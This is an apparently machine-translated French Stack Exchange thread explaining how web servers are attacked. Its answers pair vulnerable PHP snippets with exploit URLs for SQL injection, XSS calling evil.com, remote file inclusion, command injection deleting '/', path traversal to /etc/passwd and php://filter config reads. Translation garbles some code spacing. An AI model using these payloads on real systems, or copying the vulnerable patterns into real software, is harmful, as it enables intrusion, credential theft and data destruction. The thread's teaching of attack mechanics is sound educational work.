Question:
Comment fonctionne le piratage?
user7360
2012-02-01 00:31:44 UTC
view on stackexchange narkive permalink

Je parle spécifiquement des serveurs Web exécutant Unix. J'ai toujours été curieux de savoir comment les hackers obtiennent le point d'entrée. Je veux dire que je ne vois pas comment un pirate informatique peut pirater la page Web lorsque la seule méthode d'entrée dont il dispose sur le serveur est une URL. Je dois manquer quelque chose, car je ne vois aucun moyen pour le pirate d'accéder au serveur simplement en modifiant l'URL.

Par point d'entrée, j'entends le point d'accès. La façon dont un hacker pénètre dans le serveur.

Puis-je avoir un exemple de la façon dont un hacker créerait un point d'entrée dans un serveur Web? Tout C la langue est acceptable. Je n'ai absolument aucune expérience en matière de piratage

Un exemple simple serait apprécié.

Je pense que vous devez faire quelques recherches sur ce site pour certaines de ces informations de base. Une recherche Google peut également être utile. Rechercher 'exploit' 'OWASP' 'analyse de port'
Vous devinez le mot de passe.
J'ai vu beaucoup de films donc j'ai celui-ci, utilisez simplement hack.exe et tout ce que vous pensiez hack.exe le fera. Le même hack.exe fonctionnera pour plusieurs tâches (il n'y a pas non plus d'arguments d'entrée).
J'ai vu ça sur CSI. Vous utilisez Visual Basic pour créer une interface utilisateur GUI.
@skynorth - Ou plus communément on vole le mot de passe via keylogger; réutilisation des mots de passe (et un site malveillant qui accumule les mots de passe / tentatives de mots de passe); firesheep / wirehark; ou mécanisme de réinitialisation de mot de passe cassé.
Je ne peux pas résister à la publication de ce "tutoriel" sur le piratage ... http: //www.youtube.com/watch? V = u8qgehH3kEQ
Pour de nombreuses attaques, l'objectif principal est d'en faire une connexion d'administrateur ou de développeur oublié. Une fois sur place, un attaquant peut se frayer un chemin avec le système.
En plus d'être une question de type liste (qui n'est généralement pas adaptée aux sites SE), c'est une question ridiculement ouverte. La moitié de ce site y est une réponse, et même cela n'est évidemment pas complet. Les réponses ci-dessous sont de bons exemples, mais pas loin d'être complètes.
Sept réponses:
Chris Dale
2012-02-01 02:49:37 UTC
view on stackexchange narkive permalink

Hacks qui fonctionnent simplement en modifiant l'URL

  • Un exemple légitime et un exemple malveillant
  • Certains exemples nécessitent le codage d'URL pour fonctionner (généralement effectué automatiquement par le navigateur)

Injection SQL

code: final

  $ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query ("SELECT * FROM userTable WHERE username = $ username AND password = $ pw");

exploit (se connecte en tant qu'administrateur sans connaître le mot de passe): 

  example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password 'ou 1 = 1- -

Cross Site Scripting (XSS) 

  $ nickname = $ _GET ['nickname']; echo "<div>Votre pseudo est $ nickname< / div> \ n";

exploit (les inscrits visitant l'utilisateur en tant que zombie dans BeEF): 

example.com/?nickname=Karraxexample.com/?nickname=<script src = "evil.com/beefmagic.js.php" / >

Exécution de code à distance

code (exemple de Tylerl): 

  <? include ($ _ GET ["module"]. ". php"); ? >

exploit (télécharge et exécute du code arbitraire): 

  example.com/?module=frontpageexample.com/ ? module = pastebin.com / mymaliciousscript

Injection de commandes

code: 

  <? Phpecho shell_exec ('cat'. $ _ GET ['filename']) ;? >

exploit (tente de supprimer tous les fichiers du répertoire racine): 

  example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /

Injection de code

code: 

  <? Php $ myvar = "varname"; $ x = $ _GET ['arg']; eval ("\ $ mavar = \ $ x;") ;? >

exploit (injecte la commande phpinfo () qui affiche des informations d'attaque très utiles à l'écran): 

  example.com/?arg=1example.com/?arg = 1; phpinfo ()

injection LDAP

code: 

  <? php $ username = $ _GET ['username']; $ password = $ _GET ['password']; ldap_query ("(& (cn = $ username) (password = $ password)")? >

exploit (se connecte sans connaître le mot de passe administrateur): 

  example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *

Traversée du chemin

code: 

  <? phpinclude ("./" . $ _GET ['page']) ;? >

exploit (récupère / etc / passwd): 

  exemple .com /? page = front.phpexample.com /? page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd

Attaque de redirection / transmission

code: 

  <? php $ redirectUrl = $ _GET ['url'] ; header ("Location: $ redirectUrl");? >

exploit (Envoie l'utilisateur de votre page au mal p age): 

  example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php

Échec de la restriction de l'accès à l'URL

code: 

  N / A. ACL .htaccess manquant ou contrôle d'accès similaire. Permet à l'utilisateur de deviner ou de découvrir par d'autres moyens l'emplacement du contenu qui ne devrait être accessible que lorsqu'il est connecté.

exploiter: 

  example.com/users/showUser.phpexample.com/admins/editUser.php

Falsification de requêtes intersites

code : 

  N / A. Le code n'a pas de secret de page à page pour valider que la demande provient du site actuel. Mettre en œuvre un secret qui est transmis et validé entre les pages.

exploit : 

  Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243Sur une mauvaise page: <img src = "http://example.com/app/transferFunds?amount=1500destinationAccount#" widthAccount = "width =" 0 "height =" 0 "/ >

Buffer overflow (techniquement en accédant à une URL, mais implémenté avec metasploit

code: 

  N / A. Vulnérabilité dans le code du serveur Web lui-même. Dépassement de la mémoire tampon standard

Exploit (Metasploit + meterpreter?): 

  http : //www.exploit-db.com/exploits/16798/
Excellente réponse, avez-vous envisagé d'en faire un article wiki afin que d'autres puissent ajouter des détails supplémentaires, etc. :)
Malheureusement, la plupart des écoles ne l'incluent dans aucune classe de programmation. J'ai dû faire de la technologie moi-même la plupart de cela et j'ai souvent aidé des camarades de classe à sécuriser leurs côtés (et j'ai dû pirater un site Web d'enseignants pour prouver mon point)
@s4uadmin J'espère que vous avez eu une bonne relation avec votre professeur, "Pour prouver un point" ne justifie généralement pas le piratage du site de quelqu'un d'autre.
Je ne comprends pas, toutes ces techniques reposent sur le serveur qui ne valide pas l'entrée. Une fois que le serveur a validé l'entrée, ces méthodes ne fonctionneront plus du tout.
@Pacerier, la plupart des exploits sont causés par quelqu'un qui se trompe quelque part. Il suffit d'un seul oubli pour laisser un attaquant accéder à un site par ailleurs sécurisé.
@John Isaacks, eh bien je suis toujours de bons amis avec lui. Il a dit allez-y, je lui ai demandé s'il avait des sauvegardes prêtes et quand il a dit oui, j'ai fait quelques exploits. a fini par supprimer toute sa base de données et a supprimé la plupart des fichiers qu'il avait. Il ne savait pas que cela était possible à cause d'un petit champ de recherche et de la façon dont son site chargeait les pages.
@DanNeely Il est facile de ne pas bousiller. Fondamentalement, toutes ces choses sont enveloppées dans une seule fonction `F (saisie par l'utilisateur)` et c'est maintenant 100% sûr. Par exemple, les injections SQL n'existent plus dans les * vrais * sites Web. Il est ** si facile ** de les prévenir.
@Pacerier La validation de l'entrée nécessite qu'un programmeur le fasse. Il convient de noter que la «validation des entrées» est à l'origine de la moitié du Top 10 de l'OWASP
@ScottPack Oui, mais il y a généralement déjà des fonctions qui encapsulent tout l'algorithme de validation d'entrée requis dans un seul `IsValid (" user-input ")`.
Je suis respectueusement en désaccord avec votre argument qui existe plus. Le développeur doit se rappeler d'encapsuler chaque entrée utilisateur, ce qui est un exercice non trivial s'il n'est pas habitué à le faire. http://www.darkreading.com/database-security/167901020/security/attacks-breaches/232301285/latest-sql-injection-campaign-infects-1-million-web-pages.html
@Pacerier Cela devrait être facile; mais le fait que les entrées d'utilisateurs non validées figurent toujours en tête de la liste des canaux d'exploit réussis signifie qu'il y a encore un grand nombre de personnes qui se disent développeurs Web et qui ne peuvent pas faire les choses correctement.
@Pacerier: Le problème n'est généralement pas technique, comme le montre le fait que certains langages fournissent déjà des sous-programmes de validation. Le problème est que les développeurs ne les utilisent pas (ou ne les utilisent pas correctement), ce qui en fait un problème d'éducation et / ou de développement / test / processus métier.
Je ne comprends pas ce que fait example.com/?url=evil.com/sploitCode.php
@LouisRhys, C'est une attaque de redirection qui redirige l'utilisateur vers les attaques "sploitCode.php" ce que je veux dire est exploitCode.php. Cela peut être n'importe quoi, d'un site de phising à un exploit de navigateur en passant par tout ce que vous voulez. Tant que l'utilisateur est sur votre site, vous avez beaucoup de contrôle!
Il y a tellement d'exploits de la méthode de soumission de formulaire `GET`; `include ($ _ GET ['n'importe quoi'])` ** sérieusement? ** Qui fait ça?
@JYelton vous seriez très, très surpris (et déçu). Cela arrive tout le temps sur les petits sites Web PHP si quelqu'un a un système de «menu» (de nombreux guides enseigneraient cette méthode!).
@Pacerier Vous penseriez que ce serait facile et que cela n'arriverait pas, et vous vous trompez. HBGary Federal a été complètement détruit en raison de la tête de pont créée via une seule injection SQL, qui est la même histoire que la plupart des autres victimes d'Anonyme. Les écoles n'enseignent pas les dangers de l'injection SQL, des débordements de tampon, etc. La validation des entrées est, au mieux, une réflexion après coup. Et d'ailleurs, qu'est-ce qui est «valide»? Si j'ai un forum Web, je dois valider à la fois contre les injections SQL et contre le HTML intégré (souvent pas la même fonction). Franchement, le fait que les injections SQL se produisent encore est effrayant!
@Kitsune Je ne crois pas que les développeurs expérimentés prendront jamais une entrée d'utilisateur et ne la * nettoyer * pas. De nos jours, SQL ne se produit pas pour les * vrais * sites, mais pour les sites créés * pour le plaisir * par des apprenants
@Pacerier Le site Web de Sony Picture n'est-il donc pas un "vrai" site? Si vous effectuez une recherche autour (ou suivez divers sites), vous verrez que les attaques par injection SQL sont toujours très courantes, même pour les grands sites Web. La vraie solution à * l'injection SQL * n'est pas d'utiliser de toute façon une fonction "isValid", mais d'utiliser des instructions préparées (qui ne déformeront pas vos données, ou ne restreindront pas inutilement le contenu légitime). Le problème est d'essayer de mélanger le code et les données en SQL, pas les données elles-mêmes. Vous devez toujours nettoyer l'entrée en fonction de l'endroit où elle va, mais cela dépend de ce que vous devez en faire, pas de SQL.
Comment un attaquant saurait-il utiliser ces méthodes, sans connaître le code en premier lieu. Par exemple, pour l'injection SQL, comment sauraient-ils ce qu'il faut entrer pour compléter le code existant et ensuite ajouter le leur?
@Jonathan. basé sur l'expérience, vous pouvez apprendre à penser comment un développeur a programmé l'application. Dans certains cas, il est très probablement écrit d'une certaine manière. Dans certains cas également, les messages d'erreur peuvent être trop révélateurs, laissant des indices à l'attaquant. Pour être honnête, c'est ce qui rend les tests de pénétration les plus amusants! Avoir le sentiment que vous "battez" le développeur dans sa conception et son code.
Où placer le code PHP dans le premier exemple? Formulaires Web?
Si vous êtes un utilisateur assez technique qui cherche à entrer dans la sécurité informatique, je vous recommande vivement de consulter le site hackthissite.org. Il a des exemples sûrs de sites Web qui sont «vulnérables» à ce type d'attaques et montre comment ils fonctionnent assez bien si vous voulez un moyen pratique de les voir en action.
Je me rends compte que la discussion remonte à plusieurs mois, mais @Pacerier Je suis presque sûr qu'une grande partie de ce qui se trouve sur Internet n'est * pas * écrite par des développeurs expérimentés. C'est pourquoi l'injection SQL est toujours une réalité, il est trivial de s'en occuper si vous savez ce que vous faites, mais il y a beaucoup de gens qui ne le font pas.
Par exemple, si vous visitez le flux de questions du label PHP sur Stack Exchange à un moment donné, et c'est bien réel, environ 40 à 50% des nouvelles questions de la première page * contiendront * une combinaison php + mysql qui est vulnérable aux injections SQL - et il n'est pas rare que ce type de code se trouve dans les petites / moyennes entreprises (jusqu'à ce qu'il casse, bien sûr)
(C'est aussi l'une des raisons pour lesquelles PHP a une si mauvaise réputation parmi les développeurs plus expérimentés)
@kitsune, oui, vous pouvez considérer que ce n'est pas un * vrai * site alors. Apparemment, ils n'ont pas pris la peine de dépenser suffisamment sur leur site Web, http://www.sonypictures.com n'est même pas accessible pour le moment
@Pacerier, le site est en place en ce moment pour moi. Donc, ce que vous dites, c'est que l'injection SQL n'est pas un problème pour un site «réel», où «réel» est défini comme tout site non vulnérable à l'injection SQL? C'est une erreur pure et simple «No True Scotsman» ici! Si ce n'est pas la définition, que diriez-vous de fournir * votre * définition d'un «vrai» site? Je suis presque sûr que la définition que vous fournissez exclura pratiquement tous les sites sur Internet.
@Kitsune, * real * site est un site appartenant à une * grande * entreprise informatique, par ex. Google, Microsoft.
@Kitsune, vous gagnez l'argument s'il y a une attaque par injection SQL contre Google. Et bien sûr, je ne parle pas de l'ancien temps, je parle de * ces jours *.
@Pacerier Vous changez maintenant vos arguments! Avant, vous affirmiez que l'injection SQL ne se produisait que sur des sites construits `` pour le plaisir par les apprenants '' ... puis j'ai fourni un exemple récent d'un site appartenant à une énorme société (et pas même un site jetable, mais le site principal pour une division majeure) qui a été piraté via une injection SQL. Quant à certaines entreprises technologiques? Juste quelques aléatoires relativement récents, mais Yahoo en juillet, Nokia août 2011, LinkedIn il y a quelques mois (probablement causé par une injection SQL, mais pas de mot officiel). Pour n'en nommer que quelques-uns qui ont été rendus publics. Maintenant, vous allez dire qu'ils ne comptent pas.
tylerl
2012-02-01 01:35:44 UTC
view on stackexchange narkive permalink

Le moyen (actuellement) le plus courant consiste à traverser des trous dans les applications PHP. Il y a des dizaines de façons dont cela pourrait fonctionner, mais en voici une simple et facile:

Imaginez que le propriétaire du site sans méfiance décide de prendre un raccourci dans son code tel que http: // exemple. com / site.php? module = xyz charge d'abord un modèle de shell, puis lancez "xyz.php" pour remplir le contenu. Alors peut-être qu'il écrit quelque chose comme ceci: 

  <h1>My Awesome CMS< / h1><? include ($ _ GET ["module"]. ". php"); ? ><p>Voir ce que j'ai fait là-bas? Wow c'était malin.< / p>

Le pirate informatique visite ensuite le site en utilisant l'URL suivante:
http://example.com/site.php?module= http://malicio.us/evilprogram

Maintenant, au lieu de charger son script local, PHP sort et télécharge http://malicio.us/evilprogram.php et l'exécute - en exécutant le code PHP souhaité par l'attaquant. Peut-être envoyer du spam, peut-être installer un shell backdoor, peut-être rechercher des mots de passe dans les fichiers de configuration.

Il existe littéralement des milliers de façons de pirater un site, toutes aussi nouvelles les unes que les autres. Presque universellement, ils impliquent un programmeur qui n'a pas pensé à toutes les entrées possibles de son programme et aux effets inattendus qu'ils pourraient avoir.

Vous m'avez battu (en particulier le "il y a des milliers de façons"), donc +1 pour vous, mais j'aimerais ajouter qu'il y a un autre exemple ici: http://www.greensql.com/articles/backdoor- webserver-using-mysql-sql-injection
+1 pour expliquer pourquoi quelqu'un utiliserait l'insensé `include ($ _ GET ['n'importe quoi'])`
@JYelton: J'ai vu cela plusieurs fois dans le code que mes clients ont écrit. Quand quelqu'un entame une conversation avec "Nous avons donc développé notre propre CMS ...", je grince un peu.
schroeder
2012-02-01 01:57:32 UTC
view on stackexchange narkive permalink

Il y a 2 façons de le voir, vous pouvez vous concentrer sur le serveur lui-même ou vous concentrer sur l'application Web que le serveur exécute.

En tant que serveur, il peut avoir des ports ouverts exécutant des services auquel vous pouvez vous connecter et accéder au serveur. En utilisant des exploits connus, vous pourriez obtenir un accès root. Par exemple, certains serveurs FTP pour Unix ont des vulnérabilités qui peuvent être exploitées par des outils comme Metasploit pour obtenir un shell racine.

En tant qu'application, il y a beaucoup trop de façons d'exploiter une application mal écrite ou configurée. Par exemple, si vous transmettez une requête SQL en tant que GET, vous pouvez en fait manipuler l'URL elle-même pour effectuer une attaque SQL Injection et vider des bases de données entières. Par exemple (en fonction du codage du site): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT nom d'utilisateur, mot de passe FROM USERS

Encore une fois, vous touchez à un sujet énorme et j'espère que cela vous aidera à vous concentrer sur vos prochaines étapes.

Je suis d'accord qu'il y a deux points d'accès; une application faible ou des vulnérabilités dans le serveur. Mais pour un serveur à jour (disons n'exécutant qu'apache2 pour afficher des pages HTML statiques et sshd à partir d'une version stable d'ubuntu avec tous les chemins de sécurité) avec des mots de passe forts, il est très peu probable qu'il soit piraté (à part dire qu'un ddos ​​pour surcharger le site; ou quelqu'un se connectant à partir d'une machine keylogged), surtout si des précautions sont prises. Les exploits de 0 jour, alors qu'ils existent définitivement (en particulier dans les logiciels de pointe) sont assez rares dans la nature pour les logiciels matures.
L'OP cherchait des moyens d'accéder au serveur. Cibler le serveur lui-même et les services qu'il exécute est un moyen viable de le faire. Je suis d'accord qu'un serveur Web doit être configuré pour limiter cette surface d'attaque, mais c'est aux gens de le faire et les gens sont sujets aux erreurs. Par exemple, j'ai pu prendre pied dans une toute nouvelle machine de courrier Pitney Bowes sur notre réseau car ils n'avaient aucun processus pour mettre à jour les services du système d'exploitation. Il s'agit d'un logiciel mature et non à la pointe de la technologie disponible dans le commerce pour tous.
Zenexer
2012-02-04 05:31:02 UTC
view on stackexchange narkive permalink

La réponse courte

Ce n'est peut-être pas la bonne question.

Un pirate informatique ...

... est un ingénieur social.

Ils sont plus intéressés par leurs interactions avec les gens que par leurs interactions avec les ordinateurs. Un hacker préfère de loin que vous lui donniez votre mot de passe, plutôt que de le forcer.

... recherche des connaissances ...

... et sait que la connaissance est Puissance. Un hacker est plus intéressé par obtenir votre numéro de carte de crédit que par l’utiliser .

... utilise la moralité comme excuse. .

... pas une cause. C'est pourquoi de nombreux hackers profiteront d'événements politiques à caractère moral pour les rendre publics. Ils savent qu'ils peuvent utiliser la moralité pour excuser leurs actions aux yeux du public.

... ne se fait pas prendre à moins qu'il ne le veuille.

La plupart du temps. Les hackers en herbe qui se lancent sans aucun souci de furtivité ou d'anonymat sont connus sous le nom de «script kiddies» ou «skiddies» au sein de la communauté des hackers. Il y a beaucoup plus de skiddies que de pirates, très probablement, et ils seront probablement votre plus grand ennui.

... n'a pas besoin d'outils spéciaux ou de portes dérobées.

L'interface qui que vous avez fourni est probablement suffisant.

La réponse longue

Vous pouvez vous protéger contre les exploits dans Metasploit tout ce que vous voulez. Un hacker passera directement par la porte d'entrée - si ce n'est virtuellement, littéralement.

La réponse que vous voulez

Voyant que les gens n'aiment pas la réponse que je a donné , aussi adéquat soit-il, je vais vous donner quelque chose d'un peu plus en fonction de ce que vous voulez.

Les pirates aiment rester anonymes. La première étape de toute attaque consiste à enchaîner une ligne de proxies, qu'il s'agisse de proxys SOCKS, de zombies ou simplement de simples robots formant un botnet. Il y a plusieurs façons de procéder, mais obtenons des procurations mortes pour le plaisir de la discussion. Rendez-vous sur pastebin.com et recherchez 8080 . Il s'agit d'un port commun pour les proxys Web. Faites défiler les résultats jusqu'à ce que vous trouviez une liste d'adresses IP et cliquez pour afficher le résultat. Vous devriez avoir une longue liste de proxys Web. Je peux garantir que la plupart, sinon tous, seront morts. Désolé, ce n'est pas un tutoriel de piratage.

La prochaine étape consiste à collecter des informations apparemment triviales sur votre cible. En utilisant ses proxys, un pirate informatique exécutait des scans de ports, puis sonderait tous les services qu'il trouve. Vous avez un site Web? Explorons-le. Vous avez un serveur MySQL? Voyons de quelle version il s'agit. Vous utilisez SSH? Voyons s'il accepte les mots de passe textuels, ou s'il est limité aux certificats.

Ensuite, le pirate s'assoit, regarde ce qu'il a rassemblé et décide quel est le point le plus faible du système. En fonction de la taille du système, il pourrait revenir en arrière et sonder un peu plus, s'il y a plus à sonder et s'il sent qu'il n'a pas acquis une faiblesse assez bonne. Une faiblesse ne doit pas nécessairement être un véritable «trou» de sécurité: elle doit simplement être le maillon le plus faible. Peut-être avez-vous un serveur FTP qui ne protège pas contre le martèlement (tentatives de connexion répétées). Peut-être avez-vous un serveur Web avec un tas de formulaires ou d'URL potentiellement exploitables. Celles-ci méritent d'être approfondies.

Si nécessaire, l'attaquant peut écrire un script ou un programme pour mener l'attaque finale, bien que ce ne soit pas toujours le cas. La plupart des faiblesses peuvent être exploitées avec les outils existants, ce qui est donc généralement inutile pour le pirate informatique moderne. Cependant, les pirates découvrent parfois de nouvelles failles de sécurité dans les logiciels, auquel cas ils doivent parfois écrire des outils spéciaux pour exploiter ledit logiciel.

Un bon exemple de programme d'attaque manifestement évident est celui qui est utilisé pour causer des problèmes sur les serveurs d'un jeu appelé Terraria. Ce n'était pas son objectif initial, mais comme il expose divers exploits dans le logiciel serveur, il a tendance à être utilisé pour cela par d'autres. Je l'ai écrit en C #. Le code source est disponible sur GitHub. Les exploits utilisent la manipulation de bytecode pour modifier le client existant afin d'envoyer des données malveillantes. Le serveur n'attend pas ces données et réagit d'une manière qui n'a pas été conçue pour fonctionner. La découverte d'exploits comme celui-ci peut être aussi simple que la rétro-ingénierie du logiciel cible - je dis simple parce que c'est devenu une tâche de plus en plus facile avec les langages réfléchissants modernes, tels que C # et Java. Des programmes tels que .NET Reflector (payant) et dotPeek (gratuit, pour le moment) rendent cela possible en cliquant sur un bouton. Un programmeur C # suffisamment formé peut alors observer le code, déterminer sa fonctionnalité et écrire un programme pour modifier cette fonctionnalité.

Je ne pense pas que cela réponde à la question qui a été posée. Que ce soit ou non la «bonne» question est une autre question, mais si vous y répondez, je pense que vous devriez essayer de [répondre à la question] (http://security.stackexchange.com/questions/how-to-answer) cela a été demandé.
Eh bien, j'ai répondu à la question, à la fin. Je viens de m'y conduire. Je voulais mettre en contexte ma réponse.
Vous avez répondu, mais pas la question qui a été posée. D'après ce que je comprends, la question portait spécifiquement sur le piratage d'un serveur et la recherche d'exemples spécifiques (par exemple, "Je parle spécifiquement de serveurs Web exécutant Unix").
@YoavAner Eh bien, je voulais donner un contexte afin de pouvoir expliquer pourquoi je ne donnais pas d'exemple. La raison pour laquelle je n'ai pas fourni d'échantillon est que ma réponse n'en justifie pas vraiment un. Quand j'imagine un pirate informatique, je vois quelqu'un qui entre dans un bâtiment, juste après la sécurité, se dirige vers la salle des serveurs et s'assoit à une console.
J'ai ajouté la réponse que tout le monde voulait. Espérons que ce sera adéquat.
user5575
2012-02-01 07:31:10 UTC
view on stackexchange narkive permalink

Un de mes amis avait un contrat pour travailler sur un site. Pendant ce temps, il a remarqué que des pirates informatiques entraient sur le site Web et faisaient des choses qu'il n'aimait pas. Après avoir regardé quelques fichiers journaux, il a remarqué que les «hackers» ont trouvé le site en recherchant une erreur mysql sur Google.

Lorsque vous êtes capable d'injecter sql, vous pouvez faire ce que vous voulez, comme créer vous-même un compte. Si vous pouvez télécharger des fichiers (en particulier php), vous avez la possibilité de pouvoir l'exécuter. Si vous pouvez l'exécuter, vous pouvez faire plus de dégâts comme lire / écrire des fichiers sur le système de fichiers du serveur même si vous n'avez pas de compte sur le serveur linux / windows.

Une autre technique consiste à pénétrer dans la base de données, en regardant les mots de passe (surtout s'ils ne sont pas hachés) que d'essayer d'établir une connexion ssh ou ftp vers la même adresse IP du site et d'essayer les combinaisons utilisateur / mot de passe.

le serveur pour se faire pirater. Une personne que j'ai rencontrée m'a raconté comment un logiciel obsolète avait été installé sur son serveur. Les attaquants l'ont utilisé pour télécharger et exécuter leur propre fichier php qui a injecté une ligne de code (pour ajouter une iframe) dans chaque fichier index.php et index.html. Pour l'essentiel, personne n'a pu visiter le site. Il a redirigé ou généré de nombreuses fenêtres contextuelles.

Utiliser de vieux logiciels qui ont connu des exploits "fait toujours irruption dans le système" et que vous décrivez est léger par rapport à ce qu'ils auraient pu faire.
jl01
2012-02-01 21:27:39 UTC
view on stackexchange narkive permalink

Combien de fois avons-nous lu des informations sur les connexions sans mot de passe ou "Joes"? Ne nécessite pas de connaissance de Metasploit ou de quelque chose de vraiment exotique pour entrer dans la porte d'entrée. Un peu comme une voiture en marche assise dans une allée par un matin froid "S'il vous plaît, volez-moi".

Taipo
2012-02-03 12:53:15 UTC
view on stackexchange narkive permalink

Encore quelques exemples à prendre en compte.

Dans la foulée de l'exemple de tylerl: 

  <? php if (isset ($ _GET ['id'] )) include ($ _GET ['id']. ".php") ;? >

Vecteur d'attaque: 

  http: // site victime. com /? id = php: //filter/read=convert.base64-encode/resource=includes/configure

Ceci est un fichier local avec une attaque en base64 en raison du manque de codage sécurisé , un attaquant est capable de lire presque tous les fichiers du site ou du serveur qui se terminent par [.php], dans ce cas en lisant le contenu du fichier configure.php, PHP renvoie un base64_encode de tout le contenu du fichier qui est facilement décodé retour au texte lisible.

Cependant, l'URL malformée n'a pas à rechercher des trous de validation de sécurité d'entrée.

Dans de nombreux sites de commerce Web, le code $ PHP_SELF signale mal le nom de fichier où yoursite.com /admin/administrators.php, $ PHP_SELF a signalé le nom du fichier comme administrators.php, cependant si login.php a été ajouté comme admin / adm inistrators.php / login.php, puis $ PHP_SELF signale mal login.php comme nom de fichier au lieu de administrators.php.

Donc, par exemple, si la question de validation de session d'administration est posée dans cet exemple impressionnant:

* si (pas une session d'administration valide) et ($ PHP_SELF n'est pas = to login.php) alors redirigez vers login.php *

La page ne sera jamais redirigée vers la connexion .php parce que $ PHP_SELF signale mal le vrai nom de fichier, donc l'attaquant a accès au fichier administrators.php sans avoir besoin d'informations d'identification correctes.



ⓘ
Ce Q&R a été automatiquement traduit de la langue anglaise.Le contenu original est disponible sur stackexchange, que nous remercions pour la licence cc by-sa 3.0 sous laquelle il est distribué.
Loading...